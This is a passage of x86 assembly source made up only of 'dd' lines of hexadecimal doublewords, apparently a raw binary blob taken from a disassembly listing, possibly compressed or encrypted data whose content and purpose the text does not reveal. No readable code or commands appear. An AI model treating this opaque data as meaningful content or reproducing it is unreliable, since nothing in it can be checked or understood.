		dd 1D890017h, 0F9533BA1h, 0A6EC32CEh, 0AC21DE00h, 79E3184h
		dd 0A8363997h, 1D803AFAh, 74300E80h, 0B8327563h, 9D607700h
		dd 5CD24DB3h, 580A00B9h, 649C100Bh, 840F94A7h, 20309FAEh
		dd 42A9A824h, 0FF011E53h, 5780405Bh, 6F646E69h,	734B7705h
		dd 0C580DCAAh, 1353925h, 7FE43B7Dh, 7E4F1219h, 60C5AFB0h
		dd 0BD3822C8h, 0ED7FD0F6h, 4548FC7Eh, 4D9F0031h, 4E433C69h
		dd 33F80154h, 7542252Eh, 344E7095h, 8057900h, 2306A32h
		dd 58700060h, 10258050h, 4C00FCBFh, 0C9987ECBh,	0F2C1997Fh
		dd 36BC002Bh, 29A97B84h, 0F4F4497Ah, 0DF535700h, 48E71CBBh
		dd 3E79722Dh, 2E00760Ch, 95D7F2F0h, 0B5001B7Fh,	0CAFF50D3h
		dd 0DF7126h, 33CD9214h,	474F5455h, 6843EC0Fh, 27A0008Ch
		dd 1A40A9h, 7D017F2Eh, 137534F8h, 5AD37B03h, 1E9DECh, 64ABFA10h
		dd 34568B46h, 0BB668200h, 6BAD48ACh, 0EFEC0075h, 0B95FD4B3h
		dd 5FC0EC2h, 0FE120100h, 0A93CEF2h, 0FC064F09h,	0DB642ED6h
		dd 5B15D803h, 0AB5CB8AFh, 0A9441DB9h, 0C02D402Bh, 923EE92Eh
		dd 7600F6F8h, 199BB82h,	7A75251Ch, 4B0A0F42h, 0C200A7D4h
		dd 447B57FCh, 0A38F6950h, 22AF4500h, 7EDE0930h,	1AD6482Fh
		dd 55F0AC00h, 0BF5405D4h, 5700A975h, 4B780C73h,	4142ABh
		dd 5B9CFCD6h, 9D5A1799h, 0C4D3D0F1h, 0B8AB6E00h, 5123FA0Fh
		dd 0DE20004h, 61D92B4Ah, 3100A521h, 7795CE96h, 39411317h
		dd 1ABDAB52h, 6A986280h, 2153CCA5h, 0AC73F000h,	0BE927D33h
		dd 0C0AE00D5h, 0C7448D3h, 2A000FE6h, 17D88384h,	749C53E9h
		dd 67C40044h, 0CB21F25h, 0A030E0Dh, 2A35EAE7h, 4C18E874h
		dd 134B008Dh, 0FEF6CCA1h, 85055729h, 8CBA9A3Fh,	0C951CE80h
		dd 0B3070105h, 0F9255D02h, 2C81DCD4h, 0A67C3D00h, 41B5A9Ch
		dd 0B3980A34h, 1CFEB05h, 0FC79F878h, 0B785ECBAh, 8E23443Eh
		dd 5203A358h, 0A552200h, 1D7E664Eh, 0C7101341h,	0B0279943h
		dd 3CEB2806h, 0A8EA9200h, 102B2EB0h, 1FCE7E0Dh,	0C183BE5Ah
		dd 0A306B326h, 0C307C822h, 81C1E72h, 9801AE3h, 0B89616E2h
		dd 0E4B000Dh, 0D0387406h, 0E8390AB3h, 910B0002h, 0AC7A6223h
		dd 4DF94C57h, 42014400h, 41920CA5h, 0B4D8BF00h,	0EB15FF60h
		dd 111C4C28h, 855BC15Bh, 0D7F0E089h, 0AA9C5E00h, 1254AF75h
		dd 0A0094C0Fh, 1F1C800h, 4FE83202h, 0FE0BA100h,	287C0A6Ah
		dd 5E49002Fh, 92981062h, 972F7908h, 9E74AFh, 3D024429h
		dd 0E3B9D90h, 0EB0726EAh, 4719CC01h, 74C0315Ah,	458A006Ah
		dd 16033CFAh, 66002875h, 0BA4B6EA9h, 80FFC3h, 0FA410A86h
		dd 0F6434825h, 83D84D00h, 8CE02E0h, 1D9A24F8h, 0BA3F0033h
		dd 3C3B1996h, 2437B400h, 0A0C8335Ah, 2A6400D0h,	7DA91A7Ch
		dd 0FA904714h, 7A0C2500h, 0CA09E13Dh, 5EA49h, 5BB9827Eh
		dd 0FC0ADE64h, 20005077h, 34BA8CF1h, 3A4FB80Bh,	5700D102h
		dd 0B478BF9Ah, 0CC001E6Ch, 33FD0FF5h, 5C6A60B9h, 0BA008F01h
		dd 94157C57h, 17780A87h, 0F2009077h, 1252988Eh,	9C2C39h
		dd 0FE3ED711h, 0F7934ACBh, 0B220400h, 64F840BFh, 0FD820375h
		dd 9C917F70h, 533E2F90h, 74739F00h, 435C6D81h, 0C7720075h
		dd 0EBD46EBBh, 0CF0FACE8h, 0E0947E53h, 3529DE0Bh, 0AE4F0793h
		dd 0C073EFE4h, 495750B4h, 4A4E7100h, 53D83854h,	52450F1Bh
		dd 26410656h, 0E84CEC3Ch, 4D7A4E41h, 0AF284B00h, 0FF2E102Dh
		dd 1AEE224h, 308298E9h,	0C83A41B0h, 4799B0Dh, 407F7700h
		dd 3D0F0B76h, 0E13F0087h, 0D3852489h, 0EC00D257h, 0AF640345h
		dd 481B08h, 224B9133h, 0C87B4363h, 0E178AE78h, 0B2F63Ah
		dd 11E40D27h, 0F15E084h, 0E93520FBh, 155A040h, 8300F818h
		dd 8A0EF3E1h, 3E7630ECh, 0B207F053h, 709217F4h,	0F8347B59h
		dd 0DF031E74h, 6552AC29h, 0EFF38812h, 6BC003F2h, 3BC5600Eh
		dd 649D9298h, 0F00767E2h, 4654FC08h, 8E31E250h,	65F27Eh
		dd 0A11CEBD8h, 4E1F0415h, 4FC4B803h, 0B937036Ch, 6E30F9B0h
		dd 2B130091h, 21BF5DE7h, 9C009744h, 61C8427h, 806477h
		dd 0C3695399h, 226F0991h, 8B447D1Eh, 12A789C0h,	0C82CB5h
		dd 0ED46BBAh, 5B9FEDD9h, 0A21D3700h, 0E0D5E230h, 0FE86000Ch
		dd 0F80EFF54h, 8A1D1CA7h, 71C0B110h, 40231B28h,	6F9B014Ah
		dd 57B42C33h, 6B72D813h, 61A20900h, 74797D92h, 9F833E49h
		dd 64F7600h, 41B10CBCh,	61FC6400h, 65633B6Eh, 19200029h
		dd 503CDEA7h, 0E4FF6D6Fh, 64004515h, 0B84F3D69h, 0D0E4ACh
		dd 736566D3h, 612D8AE3h, 0C4186C00h, 0CE444D11h, 8E3A03CBh
		dd 4A86EA6Eh, 0BBB8BEB8h, 0B926A501h, 9CB2128Bh, 0B864CBE3h
		dd 90940975h, 0E2320AF1h, 7CDCDE5h, 20BB3976h, 0B70F4540h
		dd 975C5D24h, 18218039h, 0BAA728B9h, 72EB003Ch,	99D7841Dh
		dd 931E0E12h, 4F81348Dh, 1A49BEA2h, 55817C4h, 0DB849B0Fh
		dd 0B9C7C093h, 99002F64h, 0BBF94BF7h, 1C194D2Ch, 0C0A7B245h
		dd 9ECBF373h, 0F3984408h, 8E53143Ah, 48DD56h, 2A88FC95h
		dd 3C5C4887h, 45542100h, 0F509764Dh, 4F26B600h,	8FEED912h
		dd 0C21000C0h, 9FA1A4B2h, 0E600316Fh, 0BA2A1B7Eh, 0FB3D421h
		dd 0F0B05457h, 0B534C627h, 9A9800D8h, 0C91A8F7Eh, 79FF3600h
		dd 0D35DF2E9h, 530B018Ch, 974C4450h, 0F07D21D5h, 2201B964h
		dd 0F47BB41Bh, 25E0FB16h, 0C6940088h, 8018829Dh, 757BFE3Bh
		dd 2636DE07h, 731510C1h, 8D0874C1h, 0FA8CC870h,	94F7FA3h
		dd 0A804BCEh, 0F00988Eh, 4388C094h, 4E750161h, 57D874D3h
		dd 0ABC300AEh, 0AB06933h, 5C1D5116h, 0B840A7F2h, 3B534108h
		dd 387D0130h, 9D4AC2F4h, 72CAF407h, 8F8D0C02h, 0E0DEC312h
		dd 74F8DA2Dh, 856F0EDCh, 0B12BD3Ch, 5DFEADh, 42409723h
		dd 31C2008Ah, 0EB18F98Bh, 270F3A10h, 0C0097221h, 805703D5h
		dd 75B907FAh, 90B389BBh, 9C159C7h, 0D4310F00h, 1398C44Ch
		dd 3047D83h, 5570C09Bh,	0D0E70EC8h, 12BC62B8h, 0CAD95200h
		dd 1005DC46h, 0B08C00D8h, 1FA4D030h, 6726D443h,	0F601AF27h
		dd 834807E8h, 24A814F0h, 3D7538Dh, 0F719B752h, 0C01BD890h
		dd 38840800h, 2761012h,	56E90009h, 33557EA5h, 6E1C8B78h
		dd 5DC08F92h, 0E805D0D6h, 0B94800AFh, 0A124B767h, 0F500E9BAh
		dd 18EC0C99h, 12A95A8h,	0AC0E495Fh, 0D8727D81h,	0FD007F63h
		dd 480FDF05h, 2EA4BF17h, 70A42E5h, 30EB3014h, 8CB8E88Ah
		dd 9C472C3Fh, 9BC03BE6h, 66AB55Fh, 0C455008Bh, 24A7FA5Ah
		dd 787BF1E9h, 0E1723200h, 0EA103D17h, 3484C0E6h, 0E52DF454h
		dd 1A8C2114h, 0BC08009Dh, 3D3AD490h, 0A4B10382h, 65DF7201h
		dd 0C76ABDE8h, 0DC67F00h, 0A550F246h, 16A60081h, 7322E2E6h
		dd 7C3BCCB8h, 821B812Bh, 8FD42F5Dh, 0E8D8E0E9h,	0F202131Eh
		dd 0A0A30109h, 0FC799286h, 200012E1h, 6DDFA418h, 7A5699F1h
		dd 429800E0h, 10F9C0Eh,	8C0135D8h, 0DEBA8BB6h, 0CC8F85F9h
		dd 33C076E4h, 0D040B45Dh, 0D4961900h, 6138A03h,	0BEF93C48h
		dd 944E6F80h, 2C77B540h, 0DC752000h, 0D7E5F303h, 7D8324C0h
		dd 740F00DBh, 8EC8A38Ch, 703D155Ch, 48D3F00h, 99C62B5Bh
		dd 0C2750033h, 32F546E5h, 97008F22h, 2CC86692h,	3D81D140h
		dd 9183D80Ch, 4B0A5B6Bh, 4CB8490h, 1941CA00h, 8345A0EAh
		dd 0B4B80A62h
		dd 81AE1Eh, 6461C8BCh, 0DC009877h, 0CDC003EDh, 6280F0h
		dd 31E075EEh, 7C7E06FAh, 3EE66D58h, 30AA0044h, 8D985EE6h
		dd 18890235h, 5808050Bh, 810972C0h, 0DB033Fh, 8F8B9B1Ch
		dd 4BC32Bh, 2A299671h, 621A40FFh, 50845500h, 0D009A40Ch
		dd 4CE208h, 2F58E830h, 71B64F69h, 0CAB03C00h, 20C463E9h
		dd 94BC2441h, 0F61E3Ah,	8B28BB3Ah, 48010537h, 2C438319h
		dd 42301221h, 14660030h, 16BE8B50h, 0FE00344Ah,	7B80DE02h
		dd 0D6C103h, 0F2B0576Eh, 0EA52BA68h, 5900D5ECh,	0F84E8D6Dh
		dd 6C0394Ah, 7705F980h,	49FAFC51h, 1904DAFAh, 1708B710h
		dd 29C01E87h, 0B8913248h, 89560009h, 33EB684Bh,	7A1CC72Bh
		dd 6E407980h, 1081322h,	88191D90h, 1E101D02h, 3E071E04h
		dd 0CEF62780h, 0DE89F1Bh, 850F240Bh, 8A3980CCh,	73E43h
		dd 1D74052Ch, 4F83C8FEh, 0F50EE3Ah, 0D488FA08h,	842E00BCh
		dd 0AAEDE93Fh, 6ABB00BDh, 0F81C904Ch, 87000FC6h, 369C37B7h
		dd 48F38918h, 8009939h,	0C8C111ADh, 8E00D509h, 14550E9h
		dd 0FA1833FDh, 25F822h,	367B8D05h, 0EB1354BEh, 5C9DA30Fh
		dd 17E980C3h, 14801ABh,	425E8414h, 0EDE4F2B4h, 5CBCE488h
		dd 74F244F2h, 5026A9F2h, 57038171h, 0B80B20EDh,	3E548602h
		dd 6583C976h, 37A608BAh, 0CEE4B898h, 0B9364404h, 1380810Ch
		dd 7614868Ah, 5D450349h, 97D45942h, 0BDA400F5h,	93208BF1h
		dd 0E807CC98h, 2D121AD3h, 864814C0h, 0A9910077h, 0EB2A8A3Bh
		dd 11012C3Ch, 1408F534h, 68F85F64h, 1B3B0178h, 0BE0A0960h
		dd 5310601Dh, 0E200287Fh, 4A4B9734h, 9C5A7h, 91160722h
		dd 0D40B944Fh, 0ED145Ch, 136DA48Fh, 0E274067Ch,	4409000Eh
		dd 3E882E1Eh, 500056EBh, 0B7C4A28Ch, 33C6A65h, 0D689AFF7h
		dd 0E6A01499h, 6300ACD9h, 4D4BFCB8h, 0BADCFFh, 0B2365C43h
		dd 0EB2B5A20h, 7CD7F07h, 47332C0Ah, 81069017h, 1D3A9024h
		dd 4014C95Fh, 0E57C115Dh, 4C00210Eh, 3BF23C10h,	264B22BCh
		dd 19142Ah, 74D807C8h, 900785BEh, 68B2A4F0h, 0E6BB4160h
		dd 9FB0000Ah, 0BCB95D09h, 0C3004916h, 25856C03h, 0C4001h
		dd 36383420h, 0B6587644h, 630011ECh, 0B5C2EF75h, 14302B01h
		dd 0ECFA5390h, 2E0F323Ch, 0FD660D4h, 80BDCAE7h,	7257865Fh
		dd 2DE06269h, 63614200h, 6E45206Bh, 3568005Eh, 56A47A57h
		dd 3400291Ch, 505B7660h, 695D03h, 2F856D75h, 0D4309401h
		dd 535E3Ah, 0C2E349BCh,	436517h, 0B6B2BE1Ch, 6D90B56Eh
		dd 58007298h, 307053EFh, 3B314BADh, 3752DA5h, 0DCAFB590h
		dd 11905098h, 4D002809h, 8C27646Fh, 295525h, 0A534482Ch
		dd 0CD9AFAD8h, 6B019D07h, 5070AC53h, 0FC75DEh, 6AD25930h
		dd 4264A128h, 8B83BF12h, 1978E000h, 760A464Eh, 0A7091DE5h
		dd 0A87C4027h, 0F67E704Fh, 804A0200h, 0CC5B89FCh, 8A787Dh
		dd 0E0B9C45Eh, 0E3820A73h, 582F262Eh, 58BED000h, 210F37Eh
		dd 69E0BF80h, 8DD4468Ah, 0A074020Eh, 50137D09h,	0B01E005Ch
		dd 114B9487h, 0E43AE021h, 0C010003Ah, 0B4292E0Eh, 0DBC307E5h
		dd 0B0481732h, 0BB46B33Ch, 6B00E2F0h, 5AA2F9BFh, 49655Fh
		dd 479430Bh, 4CCA7831h,	2000E698h, 76324D58h, 0EE476113h
		dd 957C002Eh, 0D8363930h, 1B776ACDh, 0B60017B8h, 4A53E8Eh
		dd 584D5Ah, 5E2D48Fh, 93D30A29h, 0BF00CB7Ah, 0C1901512h
		dd 7850B346h, 9443072Ch, 117ABC49h, 0C0F78498h,	3000540h
		dd 8788021h, 0E8F0110h,	0EAA90750h, 0FE09BBC1h,	0E9D260CAh
		dd 0B1793113h, 2078E700h, 3E429C7Ah, 8880C6C1h,	0C0219829h
		dd 832E084Eh, 2D00F9FAh, 2E10BD87h, 40B73F95h, 96DFA6h
		dd 5B0799F3h, 6DEE9118h, 3AEA29F4h, 454CB190h, 0CC51007Bh
		dd 0FC14A13Eh, 2CC41C0Bh, 50EB80C2h, 875C1175h,	88649002h
		dd 0E353798Ch, 42123C7Eh, 31BCECBCh, 0C3431C8Fh, 4C442000h
		dd 84790F3Ch, 18937C0Eh, 804D4F22h, 896F5C91h, 0B440016Dh
		dd 290E5228h, 7972E820h, 22351803h, 0B985ADF4h,	8AE04B2Dh
		dd 302C0ED4h, 0DC60A9D3h, 32FC3143h, 33F98700h,	0F124E50Bh
		dd 0F57C03CBh, 0A7133026h, 0C13B7B98h, 32A9201Eh, 3342F680h
		dd 3955E8h, 6F1D6B6Eh, 71205B77h, 0F43AA702h, 0C075304Ah
		dd 76968CBh, 587F8470h,	0C3E4435Ch, 6007E8C3h, 0EC100146h
		dd 6404B290h, 0F0F251h,	725411D8h, 736E6103h, 74656D00h
		dd 437C19B6h, 775727Bh,	0DC34916Fh, 54CC429Dh, 8AABD540h
		dd 320B9501h, 5C19580Ch, 0F8EB60D1h, 984662A5h,	0C627018Eh
		dd 86774B85h, 2370E80Eh, 72116F01h, 75C47488h, 0F2C7E0h
		dd 3641378h, 45287C14h,	780521Fh, 0DC008496h, 0E8C0C68Fh
		dd 570400ABh, 32517353h, 76765652h, 0FAB32F04h,	218068DBh
		dd 1624884h, 17A915Dh, 0EC18203Ah, 0FC1C89A2h, 3C5FA468h
		dd 559F8CC0h, 4D0390h, 0C87D8194h, 716E6547h, 1B6F7500h
		dd 1E69EF12h, 90493B9Eh, 0AF942785h, 70FE808Dh,	331F8471h
		dd 41C069EBh, 0D6874F9h, 94101C38h, 0A3634724h,	30451ABh
		dd 9152E4EBh, 3C755803h, 90784989h, 772D5C0Fh, 8E8F0733h
		dd 102A6461h, 0EB024124h, 8248110Eh, 0F8832080h, 9565095h
		dd 0B657E90Eh, 0A524807Dh, 0D0FDC2h, 9CBD2A2Fh,	8C463F4Fh
		dd 1A029100h, 0B0ACB878h, 0F2957622h, 0E85D0088h, 0DD27771Fh
		dd 0C1007B69h, 873DF441h, 50D3622h, 3E25C889h, 4B8C042h
		dd 0F03F6373h, 80C3BB84h, 0E0833074h, 88480Fh, 0D9E5D553h
		dd 0B1AB39CAh, 1AB2E90Eh, 0ED9B432Ch, 0A41FB022h, 2F3077Fh
		dd 30B62A12h, 1A93867h,	59510A0Fh, 658FA0B8h, 1C1745FEh
		dd 7F06BD80h, 5FC1759Eh, 40A21D66h, 5121DD84h, 43008D8Ah
		dd 2B52A19h, 0CB7516h, 69307659h, 80E06704h, 0E9E46D00h
		dd 4CD2AA13h, 0DBA41F7Eh, 0B39002Ah, 0B0A5DACFh, 0F9708A00h
		dd 0C114EE6Ah, 557097D5h, 0E53E901Dh, 8F079C5Dh, 5480A808h
		dd 282993h, 915BA5A7h, 45A9664Ah, 5D00067Ah, 0AA4085A6h
		dd 4B829AEh, 2B641F03h,	0B6AB8072h, 0BEE8BA08h,	0C3CDCFBh
		dd 0C2408E03h, 83CA81C6h, 8705E0CEh, 18ED009Ah,	4C331E45h
		dd 48000666h, 10EBC1F6h, 18F44E0Fh, 0AECF25AAh,	4301B738h
		dd 1E3F7EA1h, 0E1D08A11h, 30AEE96h, 5A607CB1h, 45A8C5EAh
		dd 157AE66Bh, 0ACE22A1Fh, 0DE0F5280h, 16ABA8D2h, 35EEC80h
		dd 5B7A592Ah, 19CD58A8h, 8C55D800h, 0E89F51B9h,	0B7280016h
		dd 5CBA0B4Eh, 4801FBC9h, 1B8D108Bh, 0A6D8E974h,	0FC7540h
		dd 0AD9B914h, 354A5C20h, 44008874h, 73102B74h, 7658B2AEh
		dd 0BC30E717h, 1C0D0059h, 0EBB0404Bh, 1A075E65h, 21322A54h
		dd 0ACA41040h, 0B34500A7h, 0B4114E6Ch, 98F019C9h, 9C3040BDh
		dd 1E5700B6h, 8C3DA1BCh, 0C000BEA0h, 7D258D13h,	73B30A2h
		dd 0B5F8FB8Bh, 0C0FA67A3h, 22C33657h, 0D2C94D00h, 8CBFECFh
		dd 17AB0082h, 0EA34DC5Dh, 87002C45h, 597E294Bh,	1184A1Bh
		dd 0BA9444CBh, 0F732B937h, 78921207h, 6E9473E4h, 3582CA09h
		dd 0B1404D54h, 30FD3896h, 285C0CFCh, 83090115h,	5054A4C4h
		dd 0FECB59C4h, 0B08D0016h, 0BA2DC935h, 7E0EEE24h, 0C0501FCFh
		dd 0A016484Fh, 5EA30096h, 8771D7D4h, 0D87E85F4h, 1CDC0800h
		dd 0B1569FA2h, 869400E4h, 0D3FB1F55h, 0E800951Ah, 0C8DC633Fh
		dd 1100B26h, 3D801499h,	2AE15B18h, 0A4EFB0h, 98CE92BFh
		dd 7E591277h, 0B409C401h
		dd 25A656A3h, 0F26AC9CCh, 0C8CD002Fh, 8821AF1Ch, 191ECA9Bh
		dd 99C0A543h, 0DF09D611h, 0BEE85C10h, 0F101330Fh, 3BFFA6Eh
		dd 221A390Ah, 0F8442AA9h, 0EB00883Ch, 5C61976h,	2601E7A0h
		dd 0FA96DE5h, 4321DFA4h, 0D15B20A8h, 0E152D1ACh, 4249E0B0h
		dd 0E65B800h, 391048BCh, 0CC00059h, 0C4908529h,	156719C8h
		dd 54F02006h, 722CCh, 3209D081h, 0CB60C41Bh, 4F2EAA00h
		dd 0AB4E104Dh, 4BDC0FDEh, 0FF0FB0E6h, 3B00E2EBh, 65AC82EDh
		dd 923B5F00h, 0FC0A7185h, 0D27E9564h, 0F02CF406h, 0B7EC0076h
		dd 0DFFE3862h, 6A3E4307h, 0E432005Bh, 0DDE01472h, 42120045h
		dd 2934CC06h, 1EE42D83h, 5C1A0102h, 0E0406F2Ch,	0B0A26E1Ch
		dd 0C5CC00C3h, 0ED540C51h, 0E7A9333h, 8DA56600h, 9D35EF40h
		dd 14EEAE8h, 8FDDCEEAh,	0D4C709D2h, 0C60FE099h,	0E02AB67Ah
		dd 0D62B49AEh, 2F580051h, 3DC255D0h, 11DBD03h, 0DC005C77h
		dd 64BCD3B7h, 0F9532610h, 80FD0001h, 870D048Fh,	0BF2A9E03h
		dd 0A04FA86Bh, 0AC6865h, 40C683D1h, 0B0F8608h, 1448C0EEh
		dd 0A5AD0063h, 642D24FBh, 580203F5h, 76DB850Ch,	21C144C0h
		dd 4BCD8600h, 0BC7C247Fh, 0EF07A4Ah, 56107005h,	3D0C36E3h
		dd 0DF5144D8h, 6E297A00h, 8833022Bh, 75080042h,	1643C394h
		dd 0E047953h, 122147E8h, 7F90B6C0h, 519800A2h, 2E1E25E2h
		dd 8000F6F0h, 0DD3C7869h, 1D2A38D2h, 55204h, 0C981D868h
		dd 7E0010B4h, 0BFEB6582h, 3BB0925h, 4B594CE0h, 56A8F05Ah
		dd 72006116h, 48ADF846h, 2D9F7Bh, 4BE70193h, 0D7A7D4FBh
		dd 7906C3Eh, 0E46EF854h, 0DDEBBD51h, 703AC70h, 44BCCCF7h
		dd 78E6304Bh, 11007F6Fh, 64DFCEE9h, 731724B4h, 886A0758h
		dd 0D06023D6h, 0C4709472h, 0BE27D21Fh, 68950C0h, 4F0CAEh
		dd 2F22F114h, 244EC8DDh, 0E4082112h, 8C6C8000h,	2CFEF084h
		dd 0CAEE65h, 1625DCF4h,	3400AA11h, 6A9488F3h, 0ABCF4Fh
		dd 54801B6Ch, 7765AD7Bh, 31C56800h, 2C59958Dh, 57EF1DB0h
		dd 6B5C7F1h, 0F79CF70Dh, 12AFA14Eh, 0EBD0DC69h,	3A294100h
		dd 8D8263BCh, 0F87885h,	1975809Ah, 92D2FCF4h, 0D1411300h
		dd 0FEEC5D43h, 9DD000E4h, 5F0B0879h, 50E41E5Bh,	856D7100h
		dd 0F7659784h, 1294004Ah, 2224CA1Dh, 5C0B0810h,	80727453h
		dd 0A5AB2D16h, 0ED750027h, 6918A4E4h, 0C0008906h, 0A7BBA8A9h
		dd 4A82BEh, 30145D0Dh, 6D6F431Ch, 34876500h, 712C0A73h
		dd 880B39ECh, 0C170C400h, 0D34E7909h, 8064523Fh, 2BD01884h
		dd 0BA40F22h, 28447291h, 4C9D7B80h, 0D30E3770h,	0E0D8A5BBh
		dd 25876C33h, 927900DEh, 12633018h, 0C848D48Bh,	0ACBC00F4h
		dd 178DB6C4h, 0E031FAC2h, 0ECB2002Fh, 69540BCAh, 0EA0F4556h
		dd 24985980h, 0A2800C89h, 0B87212h, 56AD536Ch, 30C88ADCh
		dd 0E445400h, 6765354Ch, 0E109005Ah, 0C95BC370h, 4B017468h
		dd 0E0F82930h, 27D8ABF2h, 87640018h, 6BC58E6Dh,	0C8F72873h
		dd 0B200D142h, 0B14F2610h, 9055E5h, 947AC427h, 814475Ah
		dd 0D6D18001h, 0EA25F46h, 6016CCh, 295CC595h, 2EB06488h
		dd 90E34B16h, 0DCC47F00h, 7C44D148h, 0ABF07EDh,	40B36965h
		dd 12B47542h, 806C643Fh, 30D2520Ch, 72EB8F6h, 14257669h
		dd 8B59165h, 24FC4E0h, 16B0F5Ch, 4E7685Fh, 0D7F8D4C6h
		dd 31A1866h, 88104619h,	0C8064301h, 1890141Bh, 2E9104E0h
		dd 73A381Ch, 50AE961Ah,	0D27CB865h, 29339F00h, 13AB9C4Ah
		dd 1038000Fh, 2E642B25h, 14F02703h, 87D2AD00h, 53588011h
		dd 0FB478B1h, 2190DF3Eh, 5CC0A74Eh, 3181779Dh, 0F80BF0BFh
		dd 79E107D9h, 0E0B8AC2Ah, 0D234150Ah, 2B00257Ch, 0EDBBC044h
		dd 588AD620h, 0D3004703h, 0D501B5A7h, 0B8008302h, 0AE3D4FFBh
		dd 0FA34D4h, 0E2C87232h, 0C9128937h, 8CB7D901h,	0F188A18Bh
		dd 5562D0h, 9C01451Bh, 0D35B279Fh, 80FB1D3Ah, 504108D1h
		dd 32A5251h, 0EB1069ECh, 588864C2h, 3C00B3EAh, 5E575684h
		dd 38A473h, 0C29887E9h,	145A52E6h, 369FB40Eh, 0BF2B0Fh
		dd 8E1F3EACh, 471000Bh,	0FD27CCFEh, 5F01AF12h, 38EA1CD1h
		dd 0C0D44754h, 34560039h, 0FF3A3374h, 811ECC76h, 470EC322h
		dd 0BA805D4Ch, 809044Dh, 3C0F0370h, 6F7788B1h, 298BB6B8h
		dd 69DE7503h, 0FA99554Bh, 3654E00Ch, 2B4300AFh,	0A5D4459Fh
		dd 0AD010576h, 1912BEF4h, 0F0D0A2E2h, 15261D90h, 8043DE0Eh
		dd 0C1695D8Ch, 2A019402h, 0EC881CF4h, 9630F0CEh, 0F03B7D8Eh
		dd 0C0E0047h, 7E2146D2h, 0A1ED4A7h, 5000D76Ch, 0DEC8D5A6h
		dd 0D9A50077h, 0CEB62A4h, 3F002171h, 1711DBA7h,	686C6Ah
		dd 74D83BC0h, 0AECB8316h, 0A6F70400h, 4512A028h, 0C26A00F0h
		dd 4FDF77E3h, 290024ABh, 48165D4Bh, 0B00C06C3h,	0CE090C9Ch
		dd 66B23908h, 0D7CA890Eh, 907A8085h, 0FF0AA6h, 1184872h
		dd 6CC1EBCEh, 595C2300h, 0E26A90E5h, 3A8100A0h,	2E1977D0h
		dd 6F009B89h, 4B2BC48Ch, 88FBC2h, 0B483075Bh, 0FFB09281h
		dd 0EE604504h, 5700CC17h, 5882FEE9h, 58474048h,	2E10033h
		dd 0C1F5FA2Ch, 6B5E0175h, 0A0F168D8h, 2D6320C4h, 0DCA13C00h
		dd 1F061CE3h, 7EBD0043h, 4194D48h, 0FA008001h, 5302BB05h
		dd 3C32EBh, 9D2CAF41h, 27450618h, 82206A60h, 7A28AFEh
		dd 4C50FF5h, 0C7838088h, 541F4802h, 95C0CF43h, 13C144Dh
		dd 0D9495C30h, 34D9AA00h, 8448E36Bh, 3DC93200h,	0B95E882Fh
		dd 12760391h, 3B7421BAh, 72FC3AF0h, 6A838C00h, 0C7F2F449h
		dd 0B2900010h, 30393DD6h, 96007370h, 0BFC28BD2h, 0E698FEh
		dd 0C6126CF4h, 5D4A2404h, 935B801h, 3B5564BAh, 0E0FCADF5h
		dd 0FE840042h, 0F3C07489h, 0B405ED33h, 5F77087Eh, 0E681C280h
		dd 0FE103B8Ch, 830F1B9Eh, 0DBAB0DDFh, 7C89CEB8h, 47174A00h
		dd 0E388559Fh, 0B19011h, 8BA71F0Dh, 8577F8BAh, 81A09E4Ah
		dd 115F00D0h, 0C53B2BF1h, 2C022452h, 0FF6AE477h, 0B6D5E054h
		dd 0B9D400DBh, 86E7226Ch, 7E7D7428h, 52897F05h,	0BE0092ADh
		dd 1D8D70EBh, 661A1D98h, 850580D6h, 28215346h, 4D75E207h
		dd 40903E9Ch, 6132CBh, 6F881931h, 0E655697h, 6AE91F05h
		dd 0D60E03AEh, 0C622E005h, 0AB2550h, 121DA511h,	0AF0A5406h
		dd 1244C00h, 77714FDh, 68FE6303h, 5E05B8Ah, 5F3B5D62h
		dd 0A25A03B3h, 0F3BE4BD1h, 9FEAA0A4h, 0FD130025h, 4E7FDED9h
		dd 10F688EFh, 41CC2000h, 22496F5Bh, 196A00D8h, 92F53942h
		dd 54015DE7h, 0C0A38C1Bh, 0A5EC452Dh, 18D4011Ah, 64F3CF3Fh
		dd 0B8F0D860h, 0C4DA1400h, 5309FF65h, 5AEE0Fh, 0AA2BBB25h
		dd 0A4290532h, 44EC3700h, 8DBABF9Bh, 0AC3F00FEh, 6E0FD4C7h
		dd 5800EF32h, 19F7EAA7h, 0F8BD7076h, 223B00D7h,	2C683603h
		dd 2E008D66h, 0C74543E4h, 0EA8271h, 7802F45Fh, 33CAE055h
		dd 0BD49F300h, 30AE2040h, 17DC0053h, 0E251606Fh, 230722D8h
		dd 68D413C0h, 0DEE7A627h, 0D0C4A3E0h, 6F730348h, 9BCCA251h
		dd 8FE87AEBh, 763BC812h, 1AF50710h, 0B7D7C429h,	0C0F1A8D1h
		dd 0C81BD3FCh, 0B8C0BC4Eh, 77C1D05Fh, 0B4451F9Eh, 1E42B036h
		dd 4303B022h, 148D7A37h, 0E8DBE3ACh, 3EA878D4h,	1FF49C8Bh
		dd 5F4DA4D1h, 884740BDh, 0DEB790A0h, 0C19C4CC8h, 12E74398h
		dd 0A5691094h, 0F75C2C00h, 84DA04D8h, 12EEFE4Eh, 7BFD5C4h
		dd 943DA9ACh, 61BBC007h, 40004E70h, 2571626Bh, 3B691C65h
		dd 0FF007775h, 57ADCC67h
		dd 0BC002C9Eh, 0DAE74272h, 0C34316h, 0EB22354Eh, 1D6CD5CCh
		dd 13D895h, 3768B8B9h, 0C5648DBh, 0D8BD0B00h, 41FA4E4h
		dd 5FE800D6h, 0E3FE0146h, 0E2F4297Eh, 0F44D6200h, 17B11E9Ch
		dd 0A5C00ACh, 4FF2C727h, 1B002910h, 0DA6CB74Ah,	3E3BA908h
		dd 5F8346C2h, 0EE58E276h, 515EB5E0h, 30E1F43Ah,	3E1378D4h
		dd 0A8BC0020h, 0DA9057A2h, 8504DC36h, 341D0425h, 53DD6FC0h
		dd 0F982008Fh, 0E9A7AAA3h, 4B005DC9h, 5B30D398h, 78E83Dh
		dd 0F7700651h, 0D91E148h, 0A3184700h, 3D83438Ch, 0C9FEA2h
		dd 0ECC28EF4h, 0DBF12124h, 3A14538h, 6838801Ah,	0AAAA875h
		dd 94431FFDh, 6E90004h,	0C525A2D9h, 0E88660E3h,	2AD0AF60h
		dd 0FC2336h, 6E3BBF7h, 1DF8682Fh, 0A0F4EA00h, 86C42B13h
		dd 0A11C0721h, 0C1768528h, 0F4176984h, 7007A41h, 954DBE5h
		dd 0B44AE3h, 9E151AA0h,	0CA2B89B6h, 458BD401h, 952AA2B8h
		dd 1D6B0F20h, 40E2F343h, 4B2FDC3Dh, 970192FBh, 7C67F55Dh
